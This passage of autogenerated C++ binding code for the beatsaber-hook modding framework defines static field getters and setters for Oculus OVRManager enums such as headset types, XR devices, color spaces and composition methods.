return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_SystemHeadsetType>("", "OVRManager/SystemHeadsetType", "Placeholder_11"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/SystemHeadsetType Placeholder_11
void GlobalNamespace::OVRManager_SystemHeadsetType::_set_Placeholder_11(::GlobalNamespace::OVRManager_SystemHeadsetType value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_SystemHeadsetType::_set_Placeholder_11");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/SystemHeadsetType", "Placeholder_11", value));
}
// Autogenerated static field getter
// Get static field: static public OVRManager/SystemHeadsetType Placeholder_12
::GlobalNamespace::OVRManager_SystemHeadsetType GlobalNamespace::OVRManager_SystemHeadsetType::_get_Placeholder_12() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_SystemHeadsetType::_get_Placeholder_12");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_SystemHeadsetType>("", "OVRManager/SystemHeadsetType", "Placeholder_12"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/SystemHeadsetType Placeholder_12
void GlobalNamespace::OVRManager_SystemHeadsetType::_set_Placeholder_12(::GlobalNamespace::OVRManager_SystemHeadsetType value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_SystemHeadsetType::_set_Placeholder_12");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/SystemHeadsetType", "Placeholder_12", value));
}
// Autogenerated static field getter
// Get static field: static public OVRManager/SystemHeadsetType Placeholder_13
::GlobalNamespace::OVRManager_SystemHeadsetType GlobalNamespace::OVRManager_SystemHeadsetType::_get_Placeholder_13() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_SystemHeadsetType::_get_Placeholder_13");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_SystemHeadsetType>("", "OVRManager/SystemHeadsetType", "Placeholder_13"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/SystemHeadsetType Placeholder_13
void GlobalNamespace::OVRManager_SystemHeadsetType::_set_Placeholder_13(::GlobalNamespace::OVRManager_SystemHeadsetType value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_SystemHeadsetType::_set_Placeholder_13");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/SystemHeadsetType", "Placeholder_13", value));
}
// Autogenerated static field getter
// Get static field: static public OVRManager/SystemHeadsetType Placeholder_14
::GlobalNamespace::OVRManager_SystemHeadsetType GlobalNamespace::OVRManager_SystemHeadsetType::_get_Placeholder_14() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_SystemHeadsetType::_get_Placeholder_14");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_SystemHeadsetType>("", "OVRManager/SystemHeadsetType", "Placeholder_14"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/SystemHeadsetType Placeholder_14
void GlobalNamespace::OVRManager_SystemHeadsetType::_set_Placeholder_14(::GlobalNamespace::OVRManager_SystemHeadsetType value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_SystemHeadsetType::_set_Placeholder_14");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/SystemHeadsetType", "Placeholder_14", value));
}
// Autogenerated static field getter
// Get static field: static public OVRManager/SystemHeadsetType Rift_DK1
::GlobalNamespace::OVRManager_SystemHeadsetType GlobalNamespace::OVRManager_SystemHeadsetType::_get_Rift_DK1() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_SystemHeadsetType::_get_Rift_DK1");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_SystemHeadsetType>("", "OVRManager/SystemHeadsetType", "Rift_DK1"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/SystemHeadsetType Rift_DK1
void GlobalNamespace::OVRManager_SystemHeadsetType::_set_Rift_DK1(::GlobalNamespace::OVRManager_SystemHeadsetType value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_SystemHeadsetType::_set_Rift_DK1");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/SystemHeadsetType", "Rift_DK1", value));
}
// Autogenerated static field getter
// Get static field: static public OVRManager/SystemHeadsetType Rift_DK2
::GlobalNamespace::OVRManager_SystemHeadsetType GlobalNamespace::OVRManager_SystemHeadsetType::_get_Rift_DK2() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_SystemHeadsetType::_get_Rift_DK2");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_SystemHeadsetType>("", "OVRManager/SystemHeadsetType", "Rift_DK2"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/SystemHeadsetType Rift_DK2
void GlobalNamespace::OVRManager_SystemHeadsetType::_set_Rift_DK2(::GlobalNamespace::OVRManager_SystemHeadsetType value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_SystemHeadsetType::_set_Rift_DK2");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/SystemHeadsetType", "Rift_DK2", value));
}
// Autogenerated static field getter
// Get static field: static public OVRManager/SystemHeadsetType Rift_CV1
::GlobalNamespace::OVRManager_SystemHeadsetType GlobalNamespace::OVRManager_SystemHeadsetType::_get_Rift_CV1() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_SystemHeadsetType::_get_Rift_CV1");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_SystemHeadsetType>("", "OVRManager/SystemHeadsetType", "Rift_CV1"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/SystemHeadsetType Rift_CV1
void GlobalNamespace::OVRManager_SystemHeadsetType::_set_Rift_CV1(::GlobalNamespace::OVRManager_SystemHeadsetType value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_SystemHeadsetType::_set_Rift_CV1");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/SystemHeadsetType", "Rift_CV1", value));
}
// Autogenerated static field getter
// Get static field: static public OVRManager/SystemHeadsetType Rift_CB
::GlobalNamespace::OVRManager_SystemHeadsetType GlobalNamespace::OVRManager_SystemHeadsetType::_get_Rift_CB() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_SystemHeadsetType::_get_Rift_CB");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_SystemHeadsetType>("", "OVRManager/SystemHeadsetType", "Rift_CB"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/SystemHeadsetType Rift_CB
void GlobalNamespace::OVRManager_SystemHeadsetType::_set_Rift_CB(::GlobalNamespace::OVRManager_SystemHeadsetType value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_SystemHeadsetType::_set_Rift_CB");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/SystemHeadsetType", "Rift_CB", value));
}
// Autogenerated static field getter
// Get static field: static public OVRManager/SystemHeadsetType Rift_S
::GlobalNamespace::OVRManager_SystemHeadsetType GlobalNamespace::OVRManager_SystemHeadsetType::_get_Rift_S() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_SystemHeadsetType::_get_Rift_S");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_SystemHeadsetType>("", "OVRManager/SystemHeadsetType", "Rift_S"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/SystemHeadsetType Rift_S
void GlobalNamespace::OVRManager_SystemHeadsetType::_set_Rift_S(::GlobalNamespace::OVRManager_SystemHeadsetType value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_SystemHeadsetType::_set_Rift_S");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/SystemHeadsetType", "Rift_S", value));
}
// Autogenerated static field getter
// Get static field: static public OVRManager/SystemHeadsetType Oculus_Link_Quest
::GlobalNamespace::OVRManager_SystemHeadsetType GlobalNamespace::OVRManager_SystemHeadsetType::_get_Oculus_Link_Quest() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_SystemHeadsetType::_get_Oculus_Link_Quest");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_SystemHeadsetType>("", "OVRManager/SystemHeadsetType", "Oculus_Link_Quest"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/SystemHeadsetType Oculus_Link_Quest
void GlobalNamespace::OVRManager_SystemHeadsetType::_set_Oculus_Link_Quest(::GlobalNamespace::OVRManager_SystemHeadsetType value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_SystemHeadsetType::_set_Oculus_Link_Quest");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/SystemHeadsetType", "Oculus_Link_Quest", value));
}
// Autogenerated static field getter
// Get static field: static public OVRManager/SystemHeadsetType Oculus_Link_Quest_2
::GlobalNamespace::OVRManager_SystemHeadsetType GlobalNamespace::OVRManager_SystemHeadsetType::_get_Oculus_Link_Quest_2() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_SystemHeadsetType::_get_Oculus_Link_Quest_2");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_SystemHeadsetType>("", "OVRManager/SystemHeadsetType", "Oculus_Link_Quest_2"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/SystemHeadsetType Oculus_Link_Quest_2
void GlobalNamespace::OVRManager_SystemHeadsetType::_set_Oculus_Link_Quest_2(::GlobalNamespace::OVRManager_SystemHeadsetType value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_SystemHeadsetType::_set_Oculus_Link_Quest_2");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/SystemHeadsetType", "Oculus_Link_Quest_2", value));
}
// Autogenerated static field getter
// Get static field: static public OVRManager/SystemHeadsetType PC_Placeholder_4103
::GlobalNamespace::OVRManager_SystemHeadsetType GlobalNamespace::OVRManager_SystemHeadsetType::_get_PC_Placeholder_4103() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_SystemHeadsetType::_get_PC_Placeholder_4103");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_SystemHeadsetType>("", "OVRManager/SystemHeadsetType", "PC_Placeholder_4103"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/SystemHeadsetType PC_Placeholder_4103
void GlobalNamespace::OVRManager_SystemHeadsetType::_set_PC_Placeholder_4103(::GlobalNamespace::OVRManager_SystemHeadsetType value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_SystemHeadsetType::_set_PC_Placeholder_4103");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/SystemHeadsetType", "PC_Placeholder_4103", value));
}
// Autogenerated static field getter
// Get static field: static public OVRManager/SystemHeadsetType PC_Placeholder_4104
::GlobalNamespace::OVRManager_SystemHeadsetType GlobalNamespace::OVRManager_SystemHeadsetType::_get_PC_Placeholder_4104() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_SystemHeadsetType::_get_PC_Placeholder_4104");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_SystemHeadsetType>("", "OVRManager/SystemHeadsetType", "PC_Placeholder_4104"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/SystemHeadsetType PC_Placeholder_4104
void GlobalNamespace::OVRManager_SystemHeadsetType::_set_PC_Placeholder_4104(::GlobalNamespace::OVRManager_SystemHeadsetType value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_SystemHeadsetType::_set_PC_Placeholder_4104");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/SystemHeadsetType", "PC_Placeholder_4104", value));
}
// Autogenerated static field getter
// Get static field: static public OVRManager/SystemHeadsetType PC_Placeholder_4105
::GlobalNamespace::OVRManager_SystemHeadsetType GlobalNamespace::OVRManager_SystemHeadsetType::_get_PC_Placeholder_4105() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_SystemHeadsetType::_get_PC_Placeholder_4105");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_SystemHeadsetType>("", "OVRManager/SystemHeadsetType", "PC_Placeholder_4105"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/SystemHeadsetType PC_Placeholder_4105
void GlobalNamespace::OVRManager_SystemHeadsetType::_set_PC_Placeholder_4105(::GlobalNamespace::OVRManager_SystemHeadsetType value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_SystemHeadsetType::_set_PC_Placeholder_4105");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/SystemHeadsetType", "PC_Placeholder_4105", value));
}
// Autogenerated static field getter
// Get static field: static public OVRManager/SystemHeadsetType PC_Placeholder_4106
::GlobalNamespace::OVRManager_SystemHeadsetType GlobalNamespace::OVRManager_SystemHeadsetType::_get_PC_Placeholder_4106() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_SystemHeadsetType::_get_PC_Placeholder_4106");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_SystemHeadsetType>("", "OVRManager/SystemHeadsetType", "PC_Placeholder_4106"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/SystemHeadsetType PC_Placeholder_4106
void GlobalNamespace::OVRManager_SystemHeadsetType::_set_PC_Placeholder_4106(::GlobalNamespace::OVRManager_SystemHeadsetType value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_SystemHeadsetType::_set_PC_Placeholder_4106");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/SystemHeadsetType", "PC_Placeholder_4106", value));
}
// Autogenerated static field getter
// Get static field: static public OVRManager/SystemHeadsetType PC_Placeholder_4107
::GlobalNamespace::OVRManager_SystemHeadsetType GlobalNamespace::OVRManager_SystemHeadsetType::_get_PC_Placeholder_4107() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_SystemHeadsetType::_get_PC_Placeholder_4107");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_SystemHeadsetType>("", "OVRManager/SystemHeadsetType", "PC_Placeholder_4107"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/SystemHeadsetType PC_Placeholder_4107
void GlobalNamespace::OVRManager_SystemHeadsetType::_set_PC_Placeholder_4107(::GlobalNamespace::OVRManager_SystemHeadsetType value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_SystemHeadsetType::_set_PC_Placeholder_4107");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/SystemHeadsetType", "PC_Placeholder_4107", value));
}
// Autogenerated instance field getter
// Get instance field: public System.Int32 value__
[[deprecated("Use field access instead!")]] int& GlobalNamespace::OVRManager_SystemHeadsetType::dyn_value__() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_SystemHeadsetType::dyn_value__");
auto ___internal__instance = *this;
static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "value__"))->offset;
return *reinterpret_cast<int*>(reinterpret_cast<char*>(this) + ___internal__field__offset);
}
// Autogenerated from CppSourceCreator
// Created by Sc2ad
// =========================================================================
// Begin includes
// Including type: OVRManager/XRDevice
#include "GlobalNamespace/OVRManager_XRDevice.hpp"
#include "beatsaber-hook/shared/utils/il2cpp-utils.hpp"
#include "beatsaber-hook/shared/utils/utils.h"
// Completed includes
// Autogenerated static field getter
// Get static field: static public OVRManager/XRDevice Unknown
::GlobalNamespace::OVRManager_XRDevice GlobalNamespace::OVRManager_XRDevice::_get_Unknown() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_XRDevice::_get_Unknown");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_XRDevice>("", "OVRManager/XRDevice", "Unknown"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/XRDevice Unknown
void GlobalNamespace::OVRManager_XRDevice::_set_Unknown(::GlobalNamespace::OVRManager_XRDevice value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_XRDevice::_set_Unknown");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/XRDevice", "Unknown", value));
}
// Autogenerated static field getter
// Get static field: static public OVRManager/XRDevice Oculus
::GlobalNamespace::OVRManager_XRDevice GlobalNamespace::OVRManager_XRDevice::_get_Oculus() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_XRDevice::_get_Oculus");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_XRDevice>("", "OVRManager/XRDevice", "Oculus"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/XRDevice Oculus
void GlobalNamespace::OVRManager_XRDevice::_set_Oculus(::GlobalNamespace::OVRManager_XRDevice value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_XRDevice::_set_Oculus");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/XRDevice", "Oculus", value));
}
// Autogenerated static field getter
// Get static field: static public OVRManager/XRDevice OpenVR
::GlobalNamespace::OVRManager_XRDevice GlobalNamespace::OVRManager_XRDevice::_get_OpenVR() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_XRDevice::_get_OpenVR");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_XRDevice>("", "OVRManager/XRDevice", "OpenVR"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/XRDevice OpenVR
void GlobalNamespace::OVRManager_XRDevice::_set_OpenVR(::GlobalNamespace::OVRManager_XRDevice value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_XRDevice::_set_OpenVR");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/XRDevice", "OpenVR", value));
}
// Autogenerated instance field getter
// Get instance field: public System.Int32 value__
[[deprecated("Use field access instead!")]] int& GlobalNamespace::OVRManager_XRDevice::dyn_value__() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_XRDevice::dyn_value__");
auto ___internal__instance = *this;
static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "value__"))->offset;
return *reinterpret_cast<int*>(reinterpret_cast<char*>(this) + ___internal__field__offset);
}
// Autogenerated from CppSourceCreator
// Created by Sc2ad
// =========================================================================
// Begin includes
// Including type: OVRManager/ColorSpace
#include "GlobalNamespace/OVRManager_ColorSpace.hpp"
#include "beatsaber-hook/shared/utils/il2cpp-utils.hpp"
#include "beatsaber-hook/shared/utils/utils.h"
// Completed includes
// Autogenerated static field getter
// Get static field: static public OVRManager/ColorSpace Unknown
::GlobalNamespace::OVRManager_ColorSpace GlobalNamespace::OVRManager_ColorSpace::_get_Unknown() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_ColorSpace::_get_Unknown");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_ColorSpace>("", "OVRManager/ColorSpace", "Unknown"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/ColorSpace Unknown
void GlobalNamespace::OVRManager_ColorSpace::_set_Unknown(::GlobalNamespace::OVRManager_ColorSpace value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_ColorSpace::_set_Unknown");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/ColorSpace", "Unknown", value));
}
// Autogenerated static field getter
// Get static field: static public OVRManager/ColorSpace Unmanaged
::GlobalNamespace::OVRManager_ColorSpace GlobalNamespace::OVRManager_ColorSpace::_get_Unmanaged() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_ColorSpace::_get_Unmanaged");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_ColorSpace>("", "OVRManager/ColorSpace", "Unmanaged"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/ColorSpace Unmanaged
void GlobalNamespace::OVRManager_ColorSpace::_set_Unmanaged(::GlobalNamespace::OVRManager_ColorSpace value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_ColorSpace::_set_Unmanaged");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/ColorSpace", "Unmanaged", value));
}
// Autogenerated static field getter
// Get static field: static public OVRManager/ColorSpace Rec_2020
::GlobalNamespace::OVRManager_ColorSpace GlobalNamespace::OVRManager_ColorSpace::_get_Rec_2020() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_ColorSpace::_get_Rec_2020");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_ColorSpace>("", "OVRManager/ColorSpace", "Rec_2020"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/ColorSpace Rec_2020
void GlobalNamespace::OVRManager_ColorSpace::_set_Rec_2020(::GlobalNamespace::OVRManager_ColorSpace value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_ColorSpace::_set_Rec_2020");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/ColorSpace", "Rec_2020", value));
}
// Autogenerated static field getter
// Get static field: static public OVRManager/ColorSpace Rec_709
::GlobalNamespace::OVRManager_ColorSpace GlobalNamespace::OVRManager_ColorSpace::_get_Rec_709() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_ColorSpace::_get_Rec_709");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_ColorSpace>("", "OVRManager/ColorSpace", "Rec_709"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/ColorSpace Rec_709
void GlobalNamespace::OVRManager_ColorSpace::_set_Rec_709(::GlobalNamespace::OVRManager_ColorSpace value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_ColorSpace::_set_Rec_709");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/ColorSpace", "Rec_709", value));
}
// Autogenerated static field getter
// Get static field: static public OVRManager/ColorSpace Rift_CV1
::GlobalNamespace::OVRManager_ColorSpace GlobalNamespace::OVRManager_ColorSpace::_get_Rift_CV1() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_ColorSpace::_get_Rift_CV1");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_ColorSpace>("", "OVRManager/ColorSpace", "Rift_CV1"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/ColorSpace Rift_CV1
void GlobalNamespace::OVRManager_ColorSpace::_set_Rift_CV1(::GlobalNamespace::OVRManager_ColorSpace value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_ColorSpace::_set_Rift_CV1");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/ColorSpace", "Rift_CV1", value));
}
// Autogenerated static field getter
// Get static field: static public OVRManager/ColorSpace Rift_S
::GlobalNamespace::OVRManager_ColorSpace GlobalNamespace::OVRManager_ColorSpace::_get_Rift_S() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_ColorSpace::_get_Rift_S");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_ColorSpace>("", "OVRManager/ColorSpace", "Rift_S"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/ColorSpace Rift_S
void GlobalNamespace::OVRManager_ColorSpace::_set_Rift_S(::GlobalNamespace::OVRManager_ColorSpace value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_ColorSpace::_set_Rift_S");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/ColorSpace", "Rift_S", value));
}
// Autogenerated static field getter
// Get static field: static public OVRManager/ColorSpace Quest
::GlobalNamespace::OVRManager_ColorSpace GlobalNamespace::OVRManager_ColorSpace::_get_Quest() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_ColorSpace::_get_Quest");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_ColorSpace>("", "OVRManager/ColorSpace", "Quest"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/ColorSpace Quest
void GlobalNamespace::OVRManager_ColorSpace::_set_Quest(::GlobalNamespace::OVRManager_ColorSpace value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_ColorSpace::_set_Quest");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/ColorSpace", "Quest", value));
}
// Autogenerated static field getter
// Get static field: static public OVRManager/ColorSpace P3
::GlobalNamespace::OVRManager_ColorSpace GlobalNamespace::OVRManager_ColorSpace::_get_P3() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_ColorSpace::_get_P3");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_ColorSpace>("", "OVRManager/ColorSpace", "P3"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/ColorSpace P3
void GlobalNamespace::OVRManager_ColorSpace::_set_P3(::GlobalNamespace::OVRManager_ColorSpace value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_ColorSpace::_set_P3");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/ColorSpace", "P3", value));
}
// Autogenerated static field getter
// Get static field: static public OVRManager/ColorSpace Adobe_RGB
::GlobalNamespace::OVRManager_ColorSpace GlobalNamespace::OVRManager_ColorSpace::_get_Adobe_RGB() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_ColorSpace::_get_Adobe_RGB");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_ColorSpace>("", "OVRManager/ColorSpace", "Adobe_RGB"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/ColorSpace Adobe_RGB
void GlobalNamespace::OVRManager_ColorSpace::_set_Adobe_RGB(::GlobalNamespace::OVRManager_ColorSpace value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_ColorSpace::_set_Adobe_RGB");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/ColorSpace", "Adobe_RGB", value));
}
// Autogenerated instance field getter
// Get instance field: public System.Int32 value__
[[deprecated("Use field access instead!")]] int& GlobalNamespace::OVRManager_ColorSpace::dyn_value__() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_ColorSpace::dyn_value__");
auto ___internal__instance = *this;
static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "value__"))->offset;
return *reinterpret_cast<int*>(reinterpret_cast<char*>(this) + ___internal__field__offset);
}
// Autogenerated from CppSourceCreator
// Created by Sc2ad
// =========================================================================
// Begin includes
// Including type: OVRManager/CompositionMethod
#include "GlobalNamespace/OVRManager_CompositionMethod.hpp"
#include "beatsaber-hook/shared/utils/il2cpp-utils.hpp"
#include "beatsaber-hook/shared/utils/utils.h"
// Completed includes
// Autogenerated static field getter
// Get static field: static public OVRManager/CompositionMethod External
::GlobalNamespace::OVRManager_CompositionMethod GlobalNamespace::OVRManager_CompositionMethod::_get_External() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_CompositionMethod::_get_External");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_CompositionMethod>("", "OVRManager/CompositionMethod", "External"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/CompositionMethod External
void GlobalNamespace::OVRManager_CompositionMethod::_set_External(::GlobalNamespace::OVRManager_CompositionMethod value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_CompositionMethod::_set_External");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/CompositionMethod", "External", value));
}
// Autogenerated static field getter
// Get static field: static public OVRManager/CompositionMethod Direct
::GlobalNamespace::OVRManager_CompositionMethod GlobalNamespace::OVRManager_CompositionMethod::_get_Direct() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_CompositionMethod::_get_Direct");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_CompositionMethod>("", "OVRManager/CompositionMethod", "Direct"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/CompositionMethod Direct
void GlobalNamespace::OVRManager_CompositionMethod::_set_Direct(::GlobalNamespace::OVRManager_CompositionMethod value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_CompositionMethod::_set_Direct");
